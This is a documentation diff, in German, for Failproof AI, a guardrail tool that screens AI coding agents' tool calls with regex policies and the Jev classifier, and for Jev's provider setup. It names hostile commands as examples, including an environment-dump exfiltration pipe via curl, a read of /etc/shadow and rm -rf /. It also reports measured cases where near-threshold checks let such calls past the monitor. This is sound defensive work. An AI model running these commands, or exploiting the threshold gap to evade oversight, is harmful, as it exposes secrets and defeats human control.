+- **Reviewable** bedeutet, dass Jev das Urteil der Policy aufheben kann, jedoch nur durch die semantischen Prüfungen, die die Policy in `reviewedBy` benennt. Das Urteil wird nur aufgehoben, wenn **jede** benannte Prüfung zu diesem Aufruf befragt wurde und jede einzelne entweder nichts gefunden oder festgestellt hat, dass der Nutzer genau darum gebeten hat. Eine Prüfung, die **ausgelöst** hat – also das Anliegen gefunden hat – ohne dass der Nutzer darum gebeten hat, behält die Sperre bei, auch wenn ihr eigenes Urteil nur eine Warnung ist. Eine Prüfung, die Jev nicht gestellt wurde, weil sie auf dieses Tool nicht zutrifft, hebt nichts auf, unabhängig von dem, was die anderen gesagt haben. Eine Abmilderung gilt als Zustimmung: Wenn der Aufruf ein Schritt der vom Nutzer gestellten Aufgabe ist und nicht darüber hinausgeht, wandelt Jev ein Deny in eine Warnung um, und diese Warnung hebt die Sperre der Policy auf und wird dem Agenten mitgeteilt.
+
+Eine Policy ist nur dann reviewable, wenn alle folgenden Bedingungen zutreffen:
+
+1. Sie deklariert `authority: "reviewable"`.
+2. `reviewedBy` ist eine nicht leere Liste, und jeder Eintrag ist eine Jev-Prüfung, die ein installiertes Pack deklariert. Failproof AI liefert keine Jev-Prüfungen aus: Die [sechzehn unten stehenden](#semantic-policy-names) stammen aus `failproofai policies add FailproofAI/jev-policies`. Wenn kein Pack Prüfungen deklariert, ist jede Policy hard.
+3. Sie ist nicht `alwaysOn`. Die Absicherung, die einen Agenten daran hindert, Failproof AI zu deaktivieren, ist immer hard.
+
+Alles andere ist hard: ein fehlendes Feld, ein falsch geschriebener Wert, ein leeres oder fehlerhaftes `reviewedBy`, oder ein Name, der keine Prüfung ist, die diese Maschine stellen kann. Ein unbekannter Name macht die gesamte Deklaration hard, anstatt übersprungen zu werden, weil `reviewedBy` bedeutet: „All diese müssen befragt werden, und keine darf ablehnen" — ein Name zu überspringen würde Jev erlauben, die Policy anhand von weniger Prüfungen aufzuheben, als Sie angefordert haben.
+
+Sobald Jev konfiguriert ist, protokolliert Failproof AI eine Warnung, wenn eine `reviewable`-Deklaration abgelehnt wird – einmal pro Prozess. Ohne Jev wird nichts gemeldet, da die Autorität dann nichts entscheidet. `failproofai publish` verweigert den Build eines Packs, das eine solche Deklaration enthält, sodass ein Pack-Autor dies entdeckt, bevor jemand es installiert. Es prüft `reviewedBy` gegen die Prüfungen, die das Pack deklariert (falls es welche deklariert), andernfalls gegen die sechzehn `FailproofAI/jev-policies`-Namen.
+
+## Wo Autorität deklariert wird
+
+Jede Art, wie eine Policy eine Maschine erreicht, hat einen Ort, der ihre Autorität festlegt:
+
+| Quelle | Deklariert in | Standard |
+| --- | --- | --- |
+| Eingebaute Policies | Die Tabelle unten | Hard, es sei denn, als reviewable aufgeführt |
+| Eigene Policy-Dateien | `authority` und `reviewedBy` in `customPolicies.add` | Hard |
+| Policy-Packs | Der Eintrag jeder Policy im Pack-Manifest (`failproofai-pack.json`) | Hard |
+| Cloud-verwaltete Policies | Die Zuweisung der Policy im aktiven Deployment | Hard. Deployments setzen dies noch nicht, daher ist heute jede cloud-verwaltete Policy hard. |
+
+Bei einem Pack oder einer cloud-verwalteten Policy werden Felder, die im Policy-Code gesetzt wurden, ignoriert; das Manifest oder die Zuweisung entscheidet. Ein Pack kann nur seine eigenen Policies beschreiben: Ihre Policy-Namen dürfen kein `/` enthalten und werden unter dem eigenen Präfix des Packs registriert, sodass kein Manifest eine eingebaute Policy oder die Policy eines anderen Packs als reviewable markieren kann. Eine Policy, die der Code eines Packs registriert, ohne sie im Manifest zu deklarieren, ist hard.
+
+Zwei Packs oder zwei cloud-verwaltete Policies, deren Code byte-identisch ist, teilen ein Artefakt und werden als eine Policy geladen. Diese Policy ist nur dann reviewable, wenn jede einzelne von ihnen sie als reviewable deklariert, und Jev muss dann jede Prüfung aufheben, die eine von ihnen benennt. Wenn eine von ihnen sie als hard deklariert oder gar nicht deklariert, bleibt sie hard. Die Reihenfolge, in der die Packs oder Policies aufgeführt sind, spielt nie eine Rolle.
+
+Die meisten Maschinen erhalten die eingebauten Policies aus dem `FailproofAI/policies`-Pack und lesen deren Autorität aus dem Manifest dieses Packs. Die unten stehenden reviewable-Einträge treten in Kraft, sobald ein Release des Packs, das sie enthält, installiert ist; ein älteres Release enthält keine, daher bleibt jede darin enthaltene Policy hard.
+
+## Autorität in einer eigenen Policy deklarieren
+
+```js
+import { customPolicies, deny, allow } from "failproofai";
+
+customPolicies.add({
+ name: "block-prod-config-reads",
+ description: "Keep production credentials out of the agent's context",
+ match: { events: ["PreToolUse"] },
+ authority: "reviewable",
+ reviewedBy: ["secret-exposure"],
+ fn: async (ctx) =>
+ String(ctx.toolInput?.file_path ?? "").includes("/config/prod/")
+ ? deny("Production config is off limits")
+ : allow(),
+});
+```
+
+`failproofai publish` kopiert beide Felder in das Pack-Manifest, sodass eine als Pack veröffentlichte Policy die Autorität behält, die ihr Autor ihr gegeben hat. Es verweigert den Build des Packs, wenn eine Deklaration nicht berücksichtigt würde: ein anderer Wert als `"hard"` oder `"reviewable"`, ein `reviewedBy`, das keine Namensliste ist, oder ein Name, der keine Prüfung ist – eine der eigenen [Jev-Prüfungen](/de/policies/publish-a-pack#jev-checks-in-a-pack) des Packs, wenn es welche deklariert, andernfalls eine eingebaute Prüfung.
+
+## Eingebaute Policies
+
+Nur dort reviewable, wo eine semantische Policy dasselbe Anliegen tatsächlich abdeckt. Jede andere eingebaute Policy ist hard.
+
+Das Anliegen abzudecken ist notwendig, aber nicht hinreichend, und beide Arten, dabei einen Fehler zu machen, sind unauffällig:
+
+- **Eine Prüfung, die nie gestellt wird**, macht die Sperre permanent. `reviewedBy` ist eine Konjunktion, und eine Prüfung, die nicht gestellt wurde, hebt nie auf – daher kann eine Policy, die mit einer Prüfung kombiniert wird, deren Vorbedingung für die von der Policy abgeglichenen Formen nicht auslöst, niemals aufgehoben werden.
+- **Eine Prüfung, die gestellt, aber nicht ausgelöst wird**, antwortet mit „kein Anliegen", und kein Anliegen hebt auf. Eine Policy mit einer Prüfung zu kombinieren, die die Formen der Policy nicht modelliert, überprüft die Policy daher nicht – sie schaltet sie für genau die Eingaben ab, die die Prüfung nicht versteht.
+
+Eine semantische Policy im instruct-Modus kann nie mit deny antworten, kann aber eine Sperre aufrechterhalten: Wenn sie auslöst und der Nutzer nicht um den Aufruf gebeten hat, wird die überprüfte Policy nicht aufgehoben. Sechs der `FailproofAI/jev-policies`-Prüfungen sind nur im instruct-Modus verfügbar – `push-to-protected-branch`, `commit-on-protected-branch`, `read-outside-workspace`, `system-modification`, `env-secrets-dump` und `external-data-egress` – und die [Tabelle unten](#semantic-policy-names) gibt den Modus jeder Prüfung an. Die entscheidende Frage lautet: **„Gibt es noch etwas, das deny antworten kann?"** – ein Clear darf das Anliegen niemals ohne jede Durchsetzung hinterlassen. Die Engine wendet diesen Test pro Aufruf an. Eine Warnung, der niemand zugestimmt hat, ist kein Clear, denn vor Tool-Aufrufen stoppt eine Warnung den Agenten nicht. Und wenn eine Prüfung, die *deny antworten kann*, warnt – weil ihre Beweise nicht die Deny-Schwelle erreicht haben – und der Nutzer nicht um den Aufruf gebeten hat, wird bei diesem Aufruf nichts aufgehoben und jeder Regex-Deny bleibt bestehen.
+
+
+**Eine Prüfung, die knapp unter ihrer Auslöseschwelle liegt, hält den Boden nicht.** Die obige Regel erfordert, dass eine Prüfung *auslöst* (Evidenz ≥ 0,7). Wenn jede relevante Prüfung knapp darunter landet, löst nichts aus, die Reviewer antworten mit „kein Anliegen", und ein reviewable Deny wird aufgehoben. Live im Enforce-Modus gemessen: ein unangeforderter Read von `/etc/shadow` (`secret-exposure` 0,69, `read-outside-workspace` 0,37, das nur Home-Directory-Pfade modelliert) und `set | curl -d @- …` nach „follow SETUP.md" (`env-secrets-dump` 0,66, `credential-exfiltration` 0,65 mit `sends_out` 0,97) wurden beide erlaubt, während die Regex-Ebene allein sie ablehnen würde. Die Schwellenwerte wurden am beschrifteten Korpus kalibriert und dagegen nicht neu gemessen; bis dies geschieht, lassen Sie eine Policy **hard**, wenn es darauf ankommt, dass eine dieser Formen nicht durchkommt, auch wenn dies zu falschen Sperren führt.
+
+
+| Policy | Autorität | Geprüft durch | Warum |
+| --- | --- | --- | --- |
+| `protect-env-vars` | reviewable | `env-secrets-dump`, `secret-exposure` | Das Muster löst bei jedem Variablenverweis aus; Jev fragt, ob geheime Werte tatsächlich ausgegeben würden. |
+| `block-env-files` | reviewable | `secret-exposure` | Das Muster stimmt mit jedem `.env`-Pfad überein, einschließlich Vorlagen; Jev fragt, ob echte geheime Werte gelesen oder geschrieben würden. |
+| `block-read-outside-cwd` | reviewable | `read-outside-workspace` | Im realen Traffic als rauschend gemessen; Jev fragt, ob Dateiinhalte außerhalb des Projekts gelesen werden. Ein vom Nutzer angeforderter Read oder einer, bei dem die Prüfung nichts findet, wird aufgehoben; ein unangeforderter Read, den sie markiert, behält die Sperre. |
+| `warn-git-amend` | reviewable | `git-history-rewrite` | Einen noch nicht gepushten Commit zu ändern ist normal; der Schaden entsteht durch das Umschreiben von History, die andere möglicherweise bereits gepullt haben. |
+| `warn-destructive-sql` | reviewable | `database-destruction` | Jev fragt auch, ob das Ziel eine echte Datenbank oder eine wegwerfbare Testdatenbank ist. |
+| `warn-global-package-install` | reviewable | `system-modification` | Dasselbe Anliegen: die Maschine außerhalb des Projekts zu verändern. |
+| `block-failproofai-commands` | hard | | `alwaysOn` Selbstschutz. Niemals reviewable. |
+| `block-rm-rf` | reviewable | `destructive-deletion` | Die Pfadtiefenheuristik bewertet `rm -rf node_modules` falsch; Jev fragt, ob das, was gelöscht würde, regenerierbar ist. `rm -rf /` hält beide Tests wahr. |
+| `block-sudo` | hard | | Privilege-Eskalation. |
+| `block-curl-pipe-sh` | hard | | Führt aus dem Internet heruntergeladenen Code aus. |
+| `block-push-master` | hard | | Pusht direkt in einen geschützten Branch. |
+| `block-work-on-main` | hard | | `commit-on-protected-branch` deckt genau dieses Anliegen ab, ist aber nur im instruct-Modus verfügbar und kann daher nie mit deny antworten, und keine andere Prüfung deckt es ab. |
+| `block-force-push` | reviewable | `git-history-rewrite` | Jevs Sonde ist eine Obermenge des Matchers und berücksichtigt `--force-with-lease`; was aufgehoben wird, ist das Force-Pushen des eigenen Branches. |
+| `block-secrets-write` | reviewable | `secret-exposure` | Die Pfadübereinstimmung ist nicht verankert, daher wird `src/auth/credentials.ts` erfasst; Jev fragt, ob echtes Schlüsselmaterial geschrieben wird. |
+| `block-kubectl` | reviewable | `production-infra-change` | Verweigert die gesamte CLI, einschließlich schreibgeschützter Unterbefehle; Jev fragt, ob der Aufruf mutiert und ob das Ziel Produktion ist. |
+| `block-terraform` | reviewable | `production-infra-change` | Gleich: hebt `terraform plan` und `validate` auf. |
+| `block-aws-cli` | reviewable | `production-infra-change` | Gleich: hebt `aws s3 ls`, `aws sts get-caller-identity` auf. |
+| `block-gcloud` | reviewable | `production-infra-change` | Gleich: hebt `gcloud auth list`, `gcloud config list` auf. |
+| `block-az-cli` | reviewable | `production-infra-change` | Gleich: hebt `az account show` auf. |
+| `block-helm` | reviewable | `production-infra-change` | Gleich: hebt `helm list`, `helm status` auf. |
+| `block-gh-pipeline` | hard | | Löst Pipelines, Merges und Secret-Änderungen aus. |
+| `warn-git-stash-drop` | hard | | Keine semantische Prüfung deckt das Verwerfen von gestashter Arbeit ab. |
+| `warn-git-clean` | hard | | `destructive-deletion` deckt das Anliegen ab, kann aber nachweislich nicht darauf auslösen: `git clean` benennt keinen Pfad, sodass seine `irreplaceable`-Sonde nichts zu beurteilen hat und niedrig antwortet, und die Evidenz ist das Minimum über alle Sonden einer Policy. Eine Prüfung, die gestellt wird und nicht auslöst, hebt das Urteil auf, daher würde eine Kombination hier die Policy abschalten. |
+| `warn-all-files-staged` | hard | | Keine semantische Prüfung deckt ab, was ein breites `git add` aufnimmt. |
+| `warn-schema-alteration` | hard | | `database-destruction` deckt das Löschen von Daten ab, nicht das Ändern eines Schemas. |
+| `warn-package-publish` | hard | | Das Veröffentlichen ist irreversibel und keine semantische Prüfung deckt es ab. |
+| `prefer-package-manager` | hard | | Eine Team-Konvention, kein Sicherheitsurteil. |
+| `warn-large-file-write` | hard | | Ein Größenschwellenwert, kein Urteil, das Jev fällen kann. |
+| `warn-background-process` | hard | | Keine semantische Prüfung deckt abgetrennte Prozesse ab. |
+| `warn-repeated-tool-calls` | hard | | Zählt Aufrufe; Jev kann nicht zählen. |
+| `sanitize-jwt` | hard | | Bereinigt Tool-Ausgaben; kein Tool-Call-Gate. |
+| `sanitize-api-keys` | hard | | Bereinigt Tool-Ausgaben; kein Tool-Call-Gate. |
+| `sanitize-connection-strings` | hard | | Bereinigt Tool-Ausgaben; kein Tool-Call-Gate. |
+| `sanitize-private-key-content` | hard | | Bereinigt Tool-Ausgaben; kein Tool-Call-Gate. |
+| `sanitize-bearer-tokens` | hard | | Bereinigt Tool-Ausgaben; kein Tool-Call-Gate. |
+| `require-commit-before-stop` | hard | | Ein Session-Completion-Gate, kein Tool-Call-Gate. |
+| `require-push-before-stop` | hard | | Ein Session-Completion-Gate, kein Tool-Call-Gate. |
+| `require-pr-before-stop` | hard | | Ein Session-Completion-Gate, kein Tool-Call-Gate. |
+| `require-no-conflicts-before-stop` | hard | | Ein Session-Completion-Gate, kein Tool-Call-Gate. |
+| `require-ci-green-before-stop` | hard | | Ein Session-Completion-Gate, kein Tool-Call-Gate. |
+
+## Semantic Policy Names
+
+Dies sind die Prüfungen, die `FailproofAI/jev-policies` deklariert, und die Werte, die `reviewedBy` akzeptiert, sobald es installiert ist. Failproof AI selbst liefert keine davon aus: Ohne dieses Pack (oder ein anderes, das diese Namen deklariert) ist keine Policy, die sie benennt, reviewable. Jede ist eine Prüfung, die Jev zum jeweils vorliegenden Tool-Aufruf beantwortet. **Modus** beschreibt, was eine Prüfung antworten kann: Eine `deny`-Prüfung sperrt bei starker Evidenz, während eine `instruct`-Prüfung immer nur warnt. Beide halten das Deny einer Policy aufrecht, wenn sie auslösen und der Nutzer nicht um den Aufruf gebeten hat. **Nutzer kann überschreiben** gibt an, ob die explizite eigene Anfrage des Nutzers sie aufhebt.
+
+Jev stellt genau die [Jev-Prüfungen](/de/policies/publish-a-pack#jev-checks-in-a-pack), die installierte Packs deklarieren, und das sind die Namen, die `reviewedBy` akzeptiert. Ein Name, den zwei Packs unterschiedlich deklarieren, wird für keines der beiden berücksichtigt. Einer dieser sechzehn Namen, der von einem Pack deklariert wird, das nicht aus einem FailproofAI-Repository installiert wurde, wird in diesem Pack ignoriert: seine Version wird nie abgefragt und bestreitet nicht die eigene von FailproofAI, sodass ein Drittanbieter-Pack weder zur Prüfung werden kann, die die Policies des Kernpacks aufhebt, noch eine dieser Prüfungen abschaltet. Eine unleserliche Pack-Liste oder ein Pack, dessen jede Prüfung nicht verwendbar ist, lässt Jev nichts zu fragen übrig.
+
+| Name | Modus | Nutzer kann überschreiben | Was Jev prüft |
+| --- | --- | --- | --- |
+| `destructive-deletion` | deny | ja | Dauerhaftes Löschen von Daten, die nicht regeneriert werden können. |
+| `production-infra-change` | deny | ja | Änderung der Live-Infrastruktur. |
+| `git-history-rewrite` | deny | ja | Umschreiben oder Verwerfen gemeinsamer Git-History. |
+| `push-to-protected-branch` | instruct | ja | Direktes Pushen in einen geschützten Branch. |
+| `commit-on-protected-branch` | instruct | ja | Direktes Commiten auf einem geschützten Branch. |
+| `secret-exposure` | deny | ja | Lesen oder Kopieren von Anmeldeinformationen. |
+| `credential-exfiltration` | deny | nein | Senden von Secrets oder privaten Dateien von der Maschine. |
+| `remote-code-execution` | deny | ja | Ausführen von aus dem Internet heruntergeladenem Code. |
+| `privilege-escalation` | deny | ja | Ausführen mit erhöhten Privilegien. |
+| `database-destruction` | deny | ja | Zerstören oder massenweises Ändern von Datenbankdaten. |
+| `read-outside-workspace` | instruct | ja | Lesen von Dateien außerhalb des Projekts. |
+| `agent-config-tampering` | deny | nein | Ändern der eigenen Sicherheitskonfiguration des Agenten. |
+| `system-modification` | instruct | ja | Änderung des Systems außerhalb des Projekts. |
+| `env-secrets-dump` | instruct | ja | Ausgabe von Umgebungs-Secrets. |
+| `external-destructive-action` | deny | ja | Eine irreversible Aktion über ein externes Tool. |
+| `external-data-egress` | instruct | ja | Senden privater Daten an ein externes Tool. |
\ No newline at end of file
diff --git a/docs/de/policies/jev-byok.mdx b/docs/de/policies/jev-byok.mdx
new file mode 100644
index 000000000..390c42228
--- /dev/null
+++ b/docs/de/policies/jev-byok.mdx
@@ -0,0 +1,265 @@
+---
+title: "Jev-Evaluator (eigener Schlüssel)"
+description: "Lassen Sie TypeSafes Jev-Klassifikator die Tool-Aufrufe Ihrer Agenten oberhalb einer festen Regex-Untergrenze beurteilen – über Ihren eigenen Jev-Endpunkt und Schlüssel."
+icon: "key-round"
+---
+
+Regex-Richtlinien gleichen Zeichenketten ab. Sie können `rm -rf build/`, das Sie angefordert haben, nicht von `rm -rf ~` unterscheiden, das sich in einen Plan eingeschlichen hat – daher blockieren sie an einer Stelle zu viel und an einer anderen zu wenig. **Jev**, TypeSafes Klassifikator, liest den Aufruf im Kontext dessen, was Sie tatsächlich angefordert haben, und beantwortet in einer einzigen schnellen Anfrage eine Reihe von Ja/Nein-Fragen dazu.
+
+Wenn Ihr eigener Jev-Endpunkt und Schlüssel konfiguriert sind, fragt Failproof AI Jev bei jedem Tool-Aufruf **zusätzlich** zu den Regex-Richtlinien – niemals stattdessen:
+
+- Die Ablehnung einer **harten** Richtlinie ist endgültig. Jev kann sie nicht aufheben. Jede Richtlinie ist hart, es sei denn, sie ist explizit als überprüfbar markiert und benennt die Jev-Prüfungen, die sie abdecken. Eine benutzerdefinierte, Paket- oder Cloud-Richtlinie, die nichts angibt, ist daher hart – und der immer aktive Selbstschutz ist immer hart.
+- Die Ablehnung einer **überprüfbaren** Richtlinie kann aufgehoben werden, aber nur wenn Jev zu genau der Problematik befragt wurde, die diese Richtlinie abdeckt, und „nichts hier" oder „der Benutzer hat darum gebeten" geantwortet hat. Eine Prüfung, die das Problem als real einstuft – wenn der Benutzer den Aufruf nicht angefordert hat –, behält die Ablehnung aufrecht, auch wenn ihr eigenes Urteil nur eine Warnung ist. Denn vor einem Tool-Aufruf hält eine Warnung den Agenten nicht auf. Und wenn es sich um eine Prüfung handelt, die ablehnen kann (geheime Schlüssel preisgegeben, Zugangsdaten exfiltriert, destruktives Löschen, …), wird bei diesem Aufruf nichts aufgehoben.
+- Eine Blockierung kann dennoch zu einer **Warnung** werden, wenn der Aufruf ein Schritt der von Ihnen gestellten Aufgabe ist und nicht weiter reicht: Jev mildert seine eigene Ablehnung zu einer Warnung, und diese Warnung – die benennt, was mit dem Aufruf tatsächlich nicht stimmt – ersetzt die Blockierung der Richtlinie.
+- Jev kann auch aus eigenem Antrieb warnen oder ablehnen, für Schäden, die kein Regex beschreibt.
+- Falls Jev nicht antworten kann (Zeitüberschreitung, Rate-Limit, Serverfehler, keine Credits, unerwartete Modellversion), erhält dieser Aufruf das Regex-Ergebnis – genau wie ohne Jev.
+- Jev macht einen Aufruf niemals freizügiger als Ihre Richtlinien allein, es sei denn, es hat den gesamten Aufruf gelesen und wurde zur genauen Problematik befragt. Alles andere – ein zu großer Aufruf zum vollständigen Senden, ein vermuteter Injection-Versuch – zieht die Freigaben zurück und behält jede Ablehnung bei.
+
+
+Ohne Jev-Konfiguration ändert sich nichts: Hooks führen die Regex-Richtlinien genau wie bisher aus. Die Konfiguration ist das vollständige Opt-in.
+
+
+
+Nutzen Sie FailproofAI Cloud? Sie benötigen keinen eigenen Schlüssel: Eine Maschine, die mit einem Schlüssel verbunden ist, der `jev:evaluate` enthält, kann Jev im Rahmen des Plans Ihrer Organisation nutzen. Siehe [Jev über FailproofAI Cloud](/de/policies/jev-cloud).
+
+
+## Einen Anbieter wählen
+
+Jev ist über fünf Wege erreichbar. Bringen Sie einen Schlüssel für einen davon mit.
+
+| Anbieter | `--provider` | Endpunkt | Standardmodell | Hinweise |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | Exakte Versionsangabe. |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | Anfragen werden ausschließlich an Endpunkte ohne Datenspeicherung weitergeleitet, ohne Fallback auf einen anderen Anbieter. Meldet eine datierte Version wie `typesafe/jev-1.13-20260917`. |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | Benennt Jev nur per Alias, daher wird die antwortende Version als ungeprüft erfasst. |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | Benötigt `--account-id`. Etwa sechs Aufrufe pro Sekunde pro Schlüssel wurden gemessen, bevor HTTP 429 auftrat. |
+| Eigener Endpunkt | `custom` | `/systemone` | `jev-1.13.0` | Jeder Endpunkt, der TypeSafes Anfrage-Body akzeptiert und meldet, welches Modell geantwortet hat. Nur `https`; einfaches `http://localhost` wird ausschließlich im Shadow-Modus akzeptiert. |
+
+
+Mit Vercels eigenem Bring-Your-Own-Key-Feature wird eine fehlgeschlagene Anfrage stillschweigend mit Vercels Zugangsdaten wiederholt. Wenn Sie sicherstellen müssen, dass jeder Aufruf ausschließlich Ihrem TypeSafe-Konto zugerechnet und von ihm eingesehen wird, nutzen Sie TypeSafe direkt.
+
+
+## Einrichtung
+
+Ein Befehl, der Endpunkt und der Schlüssel:
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+```
+
+### Die URL bestimmt den Anbieter
+
+Sie müssen den Anbieter nicht explizit benennen: Der **Host** der URL gibt an, um welchen es sich handelt.
+
+| URL-Host | Anbieter | Außerdem benötigt |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id <32-hex-account-id>` |
+| beliebiger anderer Host | `custom` | — die angegebene URL ist die Basis-URL |
+
+Daraus ergeben sich drei Dinge:
+
+- **Eine URL, die die eigene API des Anbieters ist, schreibt keine Überschreibung.** `--url https://api.typesafe.ai/v1` erzeugt genau die Konfiguration, die `--provider typesafe` ergeben hätte. Geben Sie bei einem bekannten Anbieter einen anderen Pfad oder Host an, wird dieser als Basis-URL gespeichert, so wie es `--base-url` tun würde.
+- **`--provider` überschreibt dennoch die Erkennung**, was der Weg ist, um einen Proxy zu erreichen, der die API eines Anbieters von einem eigenen Host aus bereitstellt: `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **Ein `--provider`, der dem Host widerspricht, wird abgelehnt**, nicht geraten. `--provider openrouter --url https://api.typesafe.ai/v1` schreibt nichts und erklärt warum: Die beiden Angaben sind sich uneinig, wohin Ihr Schlüssel gesendet werden soll. Dasselbe Paar wird auch von `jev setup --base-url` und den Jev-Einstellungen im Dashboard abgelehnt. (`--provider custom` ist kein Widerspruch – es bedeutet „behandle diese URL als sich selbst" – außer beim Cloudflare-Host, dessen kontospezifischen Endpunkt eine Custom-Route nicht erreichen kann.)
+
+`--url` wird genauso geprüft wie `baseUrl` in der Konfigurationsdatei und mit denselben Fehlermeldungen abgelehnt: `https`, oder einfaches `http://localhost` ausschließlich im Shadow-Modus.
+
+### Der Schlüssel
+
+Leiten Sie ihn mit `--key-stdin` ein, oder führen Sie den Befehl in einem Terminal ohne diese Option aus und fügen Sie den Schlüssel an einer maskierten Eingabeaufforderung ein. In beiden Fällen gelangt er direkt in die Konfigurationsdatei und wird niemals zurückgegeben.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id <32-hex-account-id> --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --key-stdin < ~/jev.key
+ ```
+
+
+
+`failproofai jev setup` akzeptiert dieselben Flags und ist die ausführliche Form für alles: `setup --provider `, wenn Sie lieber den Anbieter als die URL benennen möchten.
+
+### `--token` und die Kosten
+
+`--token ` gibt den Schlüssel in der Befehlszeile an – das ist die schnellste Möglichkeit, eine Maschine zu konfigurieren, und die einzige Schreibweise, die den Schlüssel irgendwo außerhalb der Konfigurationsdatei hinterlässt:
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+Ein Befehlszeilenargument steht danach in der Verlaufsdatei Ihrer Shell, und während der Befehl läuft, ist es in der Prozessliste – aus `/proc` von allem lesbar, was unter Ihrem Benutzer läuft. `setup` weist jedes Mal darauf hin, wenn `--token` verwendet wird. Bevorzugen Sie `--key-stdin` auf einer gemeinsam genutzten Maschine, in einer aufgezeichneten Sitzung oder überall dort, wo die Verlaufsdatei synchronisiert wird; rotieren Sie einen so weitergegebenen Schlüssel, wenn es darauf ankommt.
+
+
+`--token`, `--key-stdin` und `--key-from-env` schließen sich gegenseitig aus: Geben Sie genau eine Option an.
+
+Senden Sie dann eine kleine Live-Anfrage, um den Schlüssel, den Endpunkt und die antwortende Jev-Version zu prüfen:
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` beendet sich mit Exitcode 1 und gibt dies in seiner Überschrift an, wenn die Antwort nach dem Timeout eintrifft (jeder Hook würde auf Regex zurückfallen, da `timeout`) oder die Prüffrage falsch beantwortet.
+
+Hooks lesen die Konfiguration bei jedem Tool-Aufruf, sodass sie ab dem nächsten Aufruf gilt. Es muss nichts neu gestartet werden – weder mit noch ohne den Daemon.
+
+## Den Betrieb überwachen
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+`status` zeigt Anbieter, Endpunkt, Modell, Modus, Konfigurationsdatei und deren Berechtigungen – niemals den Schlüssel. Darunter fasst es die jüngsten Aktivitäten zusammen: wie viele Aufrufe Jev ausgewertet hat, wie oft und warum auf Regex zurückgefallen wurde, die Latenz und welche überprüfbaren Richtlinien freigegeben wurden.
+
+## Shadow-Modus
+
+`enforce` ist der Standard. Um Jev zu beobachten, ohne dass es Entscheidungen beeinflusst, wechseln Sie zu `shadow`: Jev wird weiterhin befragt und seine Urteile werden erfasst, aber das Regex-Ergebnis wird durchgesetzt.
+
+```bash
+failproofai jev setup --mode shadow
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` behält die Konfiguration – Endpunkt und Schlüssel – und stellt das Befragen von Jev ein: Hooks führen die Regex-Richtlinien genau wie ohne Konfiguration aus, und `failproofai jev status` zeigt „off (switched off)" an. Wechseln Sie mit `--mode shadow` oder `--mode enforce` zurück.
+
+Ein erneutes Ausführen von `setup` für denselben Anbieter behält den gespeicherten Schlüssel, sodass ein Moduswechsel mit einem einzelnen Flag möglich ist. Ein Anbieterwechsel beginnt von vorn und fragt nach dem Schlüssel dieses Anbieters. Dasselbe gilt für eine `--base-url`, die Anfragen zu einem anderen Host verschiebt: Ein gespeicherter Schlüssel wird nur an den Host gesendet, für den er angegeben wurde, oder an die eigene API des Anbieters.
+
+## Die Konfigurationsdatei
+
+Alles befindet sich in einer Datei, `~/.failproofai/jev.json`, die von `setup` geschrieben wird:
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "<32-hex-account-id>",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| Feld | Bedeutung |
+| --- | --- |
+| `provider` | `typesafe`, `openrouter`, `vercel`, `cloudflare` oder `custom` – oder `failproofai`, dessen Schlüssel aus der FailproofAI Cloud-Verbindung statt aus dieser Datei stammt (siehe [Jev über FailproofAI Cloud](/de/policies/jev-cloud)). |
+| `apiKey` | Wird als `Authorization: Bearer ` gesendet. |
+| `baseUrl` | Für `custom` erforderlich; ersetzt andernfalls die API-Basis des Anbieters. Muss `https` sein. Einfaches `http` zu `localhost` wird nur mit `mode: shadow` akzeptiert: Da ein lokaler Port nicht authentifiziert wird, könnte während eines Ausfalls Ihres Proxys jeder Prozess auf der Maschine – einschließlich des zu beurteilenden Agenten – stattdessen antworten. |
+| `accountId` | Nur Cloudflare: 32 Kleinbuchstaben-Hex-Zeichen. |
+| `model` | Ersetzt die Standard-Modell-ID des Anbieters. Eine versionierte ID muss Jev 1.13 benennen. Ein Wert, der wie ein API-Schlüssel aussieht, wird abgelehnt (und nicht wiederholt), sodass ein in `--model` eingefügter Schlüssel niemals gespeichert oder als Modell gesendet wird. |
+| `timeoutMs` | Wie lange ein Tool-Aufruf auf Jev wartet, bevor das Regex-Ergebnis verwendet wird. 100–10000, Standard 3000. |
+| `mode` | `enforce` (Standard), `shadow` oder `off` (Konfiguration behalten, kein Jev ausführen). |
+
+Drei Regeln schützen die Datei:
+
